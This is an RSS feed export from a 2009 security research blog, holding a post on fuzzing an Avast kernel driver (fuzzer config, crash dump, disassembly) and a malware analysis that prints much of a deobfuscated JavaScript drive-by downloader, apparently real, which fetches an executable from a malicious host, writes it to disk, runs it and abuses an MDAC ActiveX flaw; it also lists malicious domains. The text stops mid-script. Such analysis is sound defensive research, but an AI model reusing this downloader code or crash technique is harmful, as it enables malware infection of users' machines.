<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;log_requests&gt;true&lt;/log_requests&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;debug_log_requests&gt;true&lt;/debug_log_requests&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;fuze_requests&gt;true&lt;/fuze_requests&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;fuze_size&gt;true&lt;/fuze_size&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;allow&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;drivers&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> &lt;entry&gt;aswMon2.SYS&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/drivers&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;devices&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> &lt;entry&gt;\Device\aswMon&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/devices&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;ioctls&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> &lt;entry&gt;0xb2c80018&lt;/entry&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/ioctls&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;processes&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;ashServ.exe&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/processes&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> </span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/allow&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;deny&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;drivers&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;aswSP.SYS&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;Aavmker4.SYS&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"> <span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;entry&gt;aswTDI.SYS&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/drivers&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;ioctls&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> &lt;entry&gt;0xb2c8000c&lt;/entry&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> &lt;entry&gt;0xb2c80014&lt;/entry&gt; </strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong> &lt;entry&gt;0xb2c80020&lt;/entry&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/ioctls&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT">
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/deny&gt;</strong></span></span></span></p>
<p style="margin-bottom:0;text-decoration:none;" align="LEFT"><span style="color:#0000ff;"><span style="font-family:Courier New,monospace;"><span style="font-size:small;"><strong>&lt;/cfg&gt;</strong></span></span></span></p>
<p>The config script allows only <span style="font-weight:bold;">0xB2c80018</span> sent from <span style="font-weight:bold;">aswMon</span>, other drivers are locked. Obviously fuzzing need to follow the log unit that evidenced out IOCTL, so run fuzzer and stop all Avast services.</p>
<p>Bang..a BSOD, discovered an Avast vulnerability into aswMon2.sys <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>From crashdump:</p>
<p>kd&gt; !analyze -v</p>
<p><span style="font-weight:bold;">UNEXPECTED_KERNEL_MODE_TRAP_M</span><br />
Arguments:<br />
Arg1: 00000008, EXCEPTION_DOUBLE_FAULT<br />
Arg2: 80042000<br />
Arg3: 00000000<br />
Arg4: 00000000_KERNEL_MODE_TRAP_M (1000007f)</p>
<p>STACK_TEXT:<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0&#215;600fa<br />
f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f3328 8052c793 41414141 00000000 f76f377c nt+0&#215;55712<br />
f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0&#215;55793<br />
f76f3760 8053d251 f76f377c 00000000 f76f37d0 nt+0&#215;25700<br />
f76f37d0 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f3854 8052c793 41414141 00000000 f76f3ca8 nt+0&#215;55712<br />
f76f38d0 804fc700 f76f3ca8 f76f39a4 05050505 nt+0&#215;55793<br />
f76f3c8c 8053d251 f76f3ca8 00000000 f76f3cfc nt+0&#215;25700<br />
f76f3cfc 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f3d80 8052c793 41414141 00000000 f76f41d4 nt+0&#215;55712<br />
f76f3dfc 804fc700 f76f41d4 f76f3ed0 05050505 nt+0&#215;55793<br />
f76f41b8 8053d251 f76f41d4 00000000 f76f4228 nt+0&#215;25700<br />
f76f4228 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f42ac 8052c793 41414141 00000000 f76f4700 nt+0&#215;55712<br />
f76f4328 804fc700 f76f4700 f76f43fc 05050505 nt+0&#215;55793<br />
f76f46e4 8053d251 f76f4700 00000000 f76f4754 nt+0&#215;25700<br />
f76f4754 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f47d8 8052c793 41414141 00000000 f76f4c2c nt+0&#215;55712<br />
f76f4854 804fc700 f76f4c2c f76f4928 05050505 nt+0&#215;55793<br />
f76f4c10 8053d251 f76f4c2c 00000000 f76f4c80 nt+0&#215;25700<br />
f76f4c80 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f4d04 8052c793 41414141 00000000 f76f5158 nt+0&#215;55712<br />
f76f4d80 804fc700 f76f5158 f76f4e54 05050505 nt+0&#215;55793<br />
f76f513c 8053d251 f76f5158 00000000 f76f51ac nt+0&#215;25700<br />
f76f51ac 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0&#215;66251<br />
f76f5230 8052c793 41414141 00000000 f76f5684 nt+0&#215;55712<br />
f76f52ac 804fc700 f76f5684 f76f5380 41414141 nt+0&#215;55793<br />
f76f5668 8053d251 f76f5684 00000000 f76f56d8 nt+0&#215;25700<br />
f76f56d8 f7756a04 badb0d00 8055b256 00000000 nt+0&#215;66251<br />
f76f576c 41414141 41414141 41414141 41414141 aswMon2+0xa04<br />
f76f5770 41414141 41414141 41414141 41414141 0&#215;41414141<br />
f76f5774 41414141 41414141 41414141 41414141 0&#215;41414141<br />
f76f5778 41414141 41414141 41414141 41414141 0&#215;41414141<br />
f76f577c 41414141 41414141 41414141 41414141 0&#215;41414141<br />
etc..</p>
<p>here the evidece of buffer corruption.</p>
<p>0xB2D60018:</p>
<p><span style="font-weight:bold;">00010F70    cmp     [ebp+arg_C], 288h</span> <span style="font-weight:bold;">;Insufficent input validation</span><br />
00010F77    jnz     loc_111AC<br />
00010F7D    mov     esi, [ebp+SourceString]<br />
00010F80    cmp     [esi], ebx<br />
00010F82    mov     [ebp+arg_C], ebx<br />
00010F85    jz      short loc_10FEB<br />
00010F87    mov     eax, dword_18A48<br />
00010F8C    cmp     eax, 80h<br />
00010F91     jge     loc_11055<br />
00010F97     lea     eax, [eax+eax*4]<br />
00010F9A    lea     eax, unk_231A4[eax*4]<br />
00010FA1    mov     [ebp+arg_10], eax<br />
00010FA4    lea     eax, [esi+8]<br />
00010FA7    mov     [ebp+arg_18], eax<br />
00010FAA   jmp     short loc_10FAF</p>
<p><span style="font-weight:bold;">Privates, Companies and/or Software House interested into a security review of their Device Drivers can contact me for Professional Consulting, please use PGP key that you can obtain </span><span style="font-weight:bold;">here:</span><br />
<a style="font-weight:bold;" href="http://evilcry.netsons.org/contacts.html">http://evilcry.netsons.org/contacts.html</a></p>
<p>Regards,<br />
Giuseppe &#8216;Evilcry&#8217; Bonfa&#8217;</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/394/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/394/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/394/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/394/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/394/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/394/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/394/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/394/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/394/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/394/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=394&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/09/24/device-drivers-vulnerability-research-avast-a-real-case/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>Avast aswMon2.sys kernel memory corruption and Local Privilege Escalation</title>
		<link>http://evilcodecave.wordpress.com/2009/09/23/avast-aswmon2-sys-kernel-memory-corruption-and-local-privilege-escalation/</link>
		<comments>http://evilcodecave.wordpress.com/2009/09/23/avast-aswmon2-sys-kernel-memory-corruption-and-local-privilege-escalation/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 16:52:32 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[(In)Security]]></category>
		<category><![CDATA[Driver Coding]]></category>
		<category><![CDATA[aswMon2.sys]]></category>
		<category><![CDATA[Avast]]></category>
		<category><![CDATA[Blue Screen]]></category>
		<category><![CDATA[BSOD]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[Device Driver]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[local privilege escalation]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/2009/09/23/avast-aswmon2-sys-kernel-memory-corruption-and-local-privilege-escalation/</guid>
		<description><![CDATA[Redirection:
http://evilcodecave.blogspot.com/2009/09/avast-aswmon2sys-kernel-memory.html
Regards,
Giuseppe &#8216;Evilcry&#8217; Bonfa&#8217;
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=393&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Redirection:</p>
<p><a href="http://evilcodecave.blogspot.com/2009/09/avast-aswmon2sys-kernel-memory.html">http://evilcodecave.blogspot.com/2009/09/avast-aswmon2sys-kernel-memory.html</a></p>
<p>Regards,</p>
<p>Giuseppe &#8216;Evilcry&#8217; Bonfa&#8217;</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/evilcodecave.wordpress.com/393/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/evilcodecave.wordpress.com/393/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/evilcodecave.wordpress.com/393/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/evilcodecave.wordpress.com/393/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/evilcodecave.wordpress.com/393/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/evilcodecave.wordpress.com/393/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/evilcodecave.wordpress.com/393/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/evilcodecave.wordpress.com/393/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/evilcodecave.wordpress.com/393/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/evilcodecave.wordpress.com/393/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=393&subd=evilcodecave&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://evilcodecave.wordpress.com/2009/09/23/avast-aswmon2-sys-kernel-memory-corruption-and-local-privilege-escalation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d6b098db399ba88e32b8ff427bd5d762?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">evilcodecave</media:title>
		</media:content>
	</item>
		<item>
		<title>Trojan.Js.Downloader.BDS Website with exploit and Malware</title>
		<link>http://evilcodecave.wordpress.com/2009/09/22/trojan-js-downloader-bds-website-with-exploit-and-malware/</link>
		<comments>http://evilcodecave.wordpress.com/2009/09/22/trojan-js-downloader-bds-website-with-exploit-and-malware/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 10:13:54 +0000</pubDate>
		<dc:creator>evilcodecave</dc:creator>
				<category><![CDATA[(In)Security]]></category>
		<category><![CDATA[Automated Malware Analysis]]></category>
		<category><![CDATA[clsid]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[Trojan.Js.Downloader.BDS]]></category>

		<guid isPermaLink="false">http://evilcodecave.wordpress.com/?p=391</guid>
		<description><![CDATA[Warning, browse the reported links only with Malzilla.
Browsing passive DNS replication services that collects public DNS data is a great system malware investigation, or better for Suspicious IPs research.
Attention today is centred on 78.47.186.165 IP that looks suspect, let&#8217;s query DNS Replication Service.
http://www.bfk.de/bfk_dnslogger_en.html?query=78.47.186.165#result
as you can see we obtain the following list:
* wergnd.info A 78.47.186.165
* eyetje.info [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evilcodecave.wordpress.com&blog=1564474&post=391&subd=evilcodecave&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Warning, browse the reported links only with Malzilla.<br />
Browsing passive DNS replication services that collects public DNS data is a great system malware investigation, or better for Suspicious IPs research.</p>
<p>Attention today is centred on 78.47.186.165 IP that looks suspect, let&#8217;s query DNS Replication Service.</p>
<p>http://www.bfk.de/bfk_dnslogger_en.html?query=78.47.186.165#result</p>
<p>as you can see we obtain the following list:</p>
<p>* wergnd.info A 78.47.186.165<br />
* eyetje.info A 78.47.186.165<br />
* dsfgng.info A 78.47.186.165<br />
* sgfnsg.info A 78.47.186.165<br />
* ltuyjm.info A 78.47.186.165<br />
* dfgdet.info A 78.47.186.165<br />
* etyjyt.info A 78.47.186.165<br />
* eryjey.info A 78.47.186.165</p>
<p>other hosted:</p>
<p>*</p>
<p>etyjyt.info<br />
kb923561.in<br />
kb929399.in<br />
kb936782.in<br />
kb952004.in<br />
kb959426.in<br />
kb960225.in<br />
kb960715.in<br />
kb960803.in<br />
kb960859.info<br />
kb968389.info<br />
ntwin.in</p>
<p>Our attention will be on egtrhn.info precisely on</p>
<p>http://egtrhn.info//index.php?src=583&amp;surl=www.springerrescue.org&amp;sport=80&amp;suri=%2Findex%2Ehtml</p>
<p>we have a first redirection to:<br />
http://egtrhn.info/index2.php?src=583&amp;trk=09181706298102074</p>
<p>where is located and obfuscated JS script:</p>
<p>function get_pic(z0){<br />
var zr0=0,i,j,zr1=&#8221;1&#8243;,ff=0xff,zr2=&#8221;2&#8243;,z9=0xc,zr3=3,b=0&#215;400,r,z7=3,s=0,z8=&#8221;ss&#8221;,w=0,p=0,t=Array(63,56,55,60,4,31,16,19,20,27,0,0,0,0,0,0,25,42,18,22,49,30,24,51,8,62,46,36,59,61,58,17,54,45,53,48,41,47,0,1,3,21,10,0,0,0,0,44,0,13,28,33,5,11,39,7,34,29,15,50,43,12,26,57,2,9,35,23,6,14,40,38,32,52,37);<br />
z2=z0;l=z2.length;<br />
for(j=Math.ceil(l/b);j&gt;0;j&#8211;){r=&#8221;;<br />
for(i=Math.min(l,b);i&gt;0;l&#8211;,i&#8211;){z1=t[z2.charCodeAt(p++)-48];z3=z1&lt;&gt;8;s-=2;r=r+String.fromCharCode(z6)}<br />
else{z7=8;s=6;z8=&#8221;7&#8243;;z9=w}}<br />
y1=&#8221;document&#8221;;<br />
y2=&#8221;write&#8221;;<br />
eval(y1+&#8221;.&#8221;+y2+&#8221;(r)&#8221;)}}y5=&#8221;f2&#8243;;y4=&#8221;get_pic&#8221;;y3=y4+&#8217;(&#8220;H0bIckN..{BLOCK_OF_DATA}..r3GolElDhnALr3G&#8221;)&#8217;;y6=&#8221;()&#8221;;eval(y3);</p>
<p>function get_pic(z0) deobfuscates the Block of Data that I partiallu reported here, algorithm used is pretty<br />
easy and can be pasted directly into Malzilla Decoder.. here the decoded block of data:</p>
<p>&lt;div id=&#8221;demoobj&#8221;&gt;&lt;/div&gt;<br />
&lt;script language=&#8221;javascript&#8221;&gt;<br />
var space=&#8221;";<br />
function lsrn(pt31) {<br />
var ldob=null; var tds1=17;<br />
var st2=&#8221;2&#8243;;<br />
var stms=&#8221;Microsoft&#8221;;<br />
var stmss=&#8221;MS&#8221;;<br />
var stxml=&#8221;XML&#8221;;<br />
var stdt=&#8221;.&#8221;;<br />
var stht=&#8221;HTTP&#8221;;<br />
var stsrv=&#8221;Server&#8221;;<br />
var url=&#8221;http://egtrhn.info/gfl.php?d=14&amp;trk=09220521365129336&amp;s=m06&#8243;;<br />
var tds2=17;<br />
var stgt=&#8221;GET&#8221;;<br />
var std=&#8221;D&#8221;;<br />
var stbd=&#8221;Body&#8221;;<br />
var strsp=&#8221;response&#8221;;<br />
var ev1=&#8221;ldob&#8221;+stdt+&#8221;open(stgt,url,false);&#8221;;<br />
var stsv=&#8221;Save&#8221;;<br />
try { ldob=objmker(pt31, stms+stdt+stxml+stht); eval(ev1); }<br />
catch(e) {<br />
try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stxml+stht); eval(ev1); }<br />
catch(e) {<br />
try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stsrv+stxml+stht); eval(ev1); }<br />
catch(e) { try { ldob=new XMLHttpRequest(); eval(ev1); }<br />
catch(e){ return 0;<br />
};<br />
};<br />
};<br />
};<br />
try { ldob.send(null); }<br />
catch(e) {<br />
try { ldob.send(null); }<br />
catch(e) { return 0;<br />
};<br />
};</p>
<p>as you can see from the Bolded variable this piece of code deals with an URL<br />
http://egtrhn.info/gfl.php?d=14&amp;trk=09220521365129336&amp;s=m06<br />
this link contains a malicious executable.</p>
<p>eval(&#8220;ld&#8221;+stbd+&#8221;=ldob.&#8221;+strsp+stbd);<br />
var obj_strm=objmker(pt31, &#8220;A&#8221;+std+&#8221;O&#8221;+std+&#8221;B.Stream&#8221;);<br />
if (obj_strm) {<br />
obj_strm.Type=1; obj_strm.Mode=3; obj_strm.Open(); obj_strm.Write(ldBody);<br />
var hdrv=&#8221;"; var dtemp=&#8221;"; var dstart=&#8221;"; var daustart=&#8221;";<br />
try {var obj_WScript=objmker(pt31, &#8220;WScript.Shell&#8221;);<br />
try{var wshProcEnv=obj_WScript.Environment(&#8220;PROCESS&#8221;); hdrv=wshProcEnv(&#8220;HOMEDRIVE&#8221;); dtemp=wshProcEnv(&#8220;TEMP&#8221;)<br />
;}catch(e){   };<br />
}<br />
catch(e){};<br />
if (hdrv==&#8221;") { hdrv=&#8221;C:&#8221;; };<br />
if (dtemp==&#8221;") {<br />
try {<br />
var obj_fso=objmker(pt31, &#8220;Scripting.FileSystemObject&#8221;);<br />
dtemp=obj_fso.GetSpecialFolder(2);<br />
}catch(e){  };<br />
};</p>
<p>here is builded the downloader for the malicious executable.</p>
<p>var fn2=&#8221;"; var fn=&#8221;";<br />
var strnd=Math.round(Math.random()*(100000-1)+10000);<br />
var ev2=&#8221;obj_strm.&#8221;+stsv+&#8221;ToFile(fn,&#8221;+st2+&#8221;);fn2=fn;&#8221;;<br />
if(fn2==&#8221;"){try{Tv=dtemp;fn=Tv+&#8221;\\tmp&#8221;+strnd+&#8221;.exe&#8221;;eval(ev2);}catch(e){};};<br />
if(fn2==&#8221;"){try{Tv=hdrv;fn=Tv+&#8221;\\RECYCLER\\&#8221;+strnd+&#8221;.exe&#8221;;eval(ev2);}catch(e){};};<br />
if(fn2==&#8221;"){try{Tv=hdrv;fn=Tv+&#8221;\\sys&#8221;+strnd+&#8221;.exe&#8221;;eval(ev2);}catch(e){};};<br />
if (fn2!=&#8221;"){</p>
<p>attach a random string to executable name.</p>
<p>var tst2=space;<br />
var tobjst=tst2;<br />
var falret=0;<br />
try{<br />
var zpa1=&#8221;var obj_shl=obj&#8221;+tst2+&#8221;mker(pt31,\&#8221;Sh&#8221;+tst2+&#8221;ell.&#8221;+tst2+&#8221;Application\&#8221;);&#8221;; eval(zpa1);<br />
var zpa2=&#8221;obj_shl&#8221;+tst2+&#8221;.Sh&#8221;+tst2+&#8221;ellEx&#8221;+tst2+&#8221;ecute(fn2);&#8221;;eval(zpa2);<br />
}catch(e){<br />
try{<br />
zpa3=&#8221;obj_W&#8221;+tst2+&#8221;Script.&#8221;+tst2+&#8221;Exec(fn2);&#8221;;eval(zpa3);<br />
}catch(e){</p>
<p>looking carefully to these three vars you can see some well known string represented in a splitted way to deceive basilar webcheckers, here the rebuilded strings</p>
<p>* Shell.Application\<br />
* obj_shl.ShellExecute(fn2)<br />
* obj_W Script.Exec(fn2)</p>
<p>try{<br />
zpa4=&#8221;var demoobj2=document.&#8221;+tst2+&#8221;getElem&#8221;+tst2+&#8221;ent&#8221;+tst2+&#8221;ById(\&#8221;demoobj\&#8221;);&#8221;;eval(zpa4);<br />
var zpa5=&#8221;demoobj2&#8243;+tobjst+&#8221;.inner&#8221;+tst2+&#8221;HTML&#8221;+tobjst+&#8221;=demoobj2&#8243;+tobjst+&#8221;.inner&#8221;+<br />
tst2+&#8221;HTML&#8221;+tobjst+&#8221;+\&#8221;&lt;obj&#8221;+tst2+&#8221;ect&#8221;+tobjst+&#8221; clas&#8221;+tst2+&#8221;sid&#8221;+tobjst+&#8221;=&#8217;cls&#8221;+tst2+&#8221;id:&#8221;+tobjst+&#8221;5271&#8243;+tst2+&#8221;96a4-b1a3-4647-931d-37ba5&#8243;+tst2+&#8221;af23037&#8243;+tobjst+&#8221;&#8216; code&#8221;+tst2+&#8221;base=&#8221;+tobjst+&#8221;&#8216;\&#8221;+fn2+\&#8221;&#8216;&gt;&lt;/&#8221;+tobjst+&#8221;object&#8221;+tst2+&#8221;&gt;\&#8221;;&#8221;;<br />
eval(zpa5);<br />
}catch(e){</p>
<p>zpa5 is the most interesting, between the various strings is builded a CLSID.</p>
<p>clsid:527196a4-b1a3-4647-931d-37ba5af23037 this belongs to MDAC ActiveX<br />
code execution (CVE-2006-0003)</p>
<p>An attacker who successfully exploited this vulnerability could gain the same user rights<br />
as the local user. Users whose accounts are configured to have fewer user rights on the<br />
system could be less impacted than users who operate with administrative user rights.</p>
<p>return falret;<br />
};<br />
};<br />
};<br />
return 1;<br />
}else{<br />
return 0;<br />
};<br />
}else{return 0;};<br />
};</p>
<p>function objmker(pt21,pt22) {<br />
var tds=27; var nobj=null; var stno=&#8221;nobj=pt21.&#8221;; var stem=&#8221;";<br />
try{eval(stno+&#8217;CreateObject(pt22)&#8217;);}catch(e){}<br />
if(!nobj){try{eval(stno+&#8217;Cre&#8217;+stem+&#8217;ateO&#8217;+stem+&#8217;bject(pt22,&#8221;")&#8217;);}catch(e){}}<br />
if(!nobj){try{eval(stno+&#8217;Cre&#8217;+stem+&#8217;ateO&#8217;+stem+&#8217;bject(pt22,&#8221;",&#8221;")&#8217;);}catch(e){}}<br />
if(!nobj){try{eval(stno+&#8217;Get&#8217;+stem+&#8217;Obje&#8217;+stem+&#8217;ct(&#8220;&#8221;,pt22)&#8217;);}catch(e){}}<br />
if(!nobj){try{eval(stno+&#8217;Get&#8217;+stem+&#8217;Obje&#8217;+stem+&#8217;ct(pt22,&#8221;")&#8217;);}catch(e){}}<br />
if(!nobj){try{eval(stno+&#8217;Get&#8217;+stem+&#8217;Obje&#8217;+stem+&#8217;ct(pt22)&#8217;);}catch(e){}}<br />
return(nobj);<br />
}<br />
var tds=17; var i=0; var stcb1=&#8221;-0000-0000-C000-000000000046&#8243;; var st1m=&#8221;1-&#8221;; var stm1=&#8221;-1&#8243;;<br />
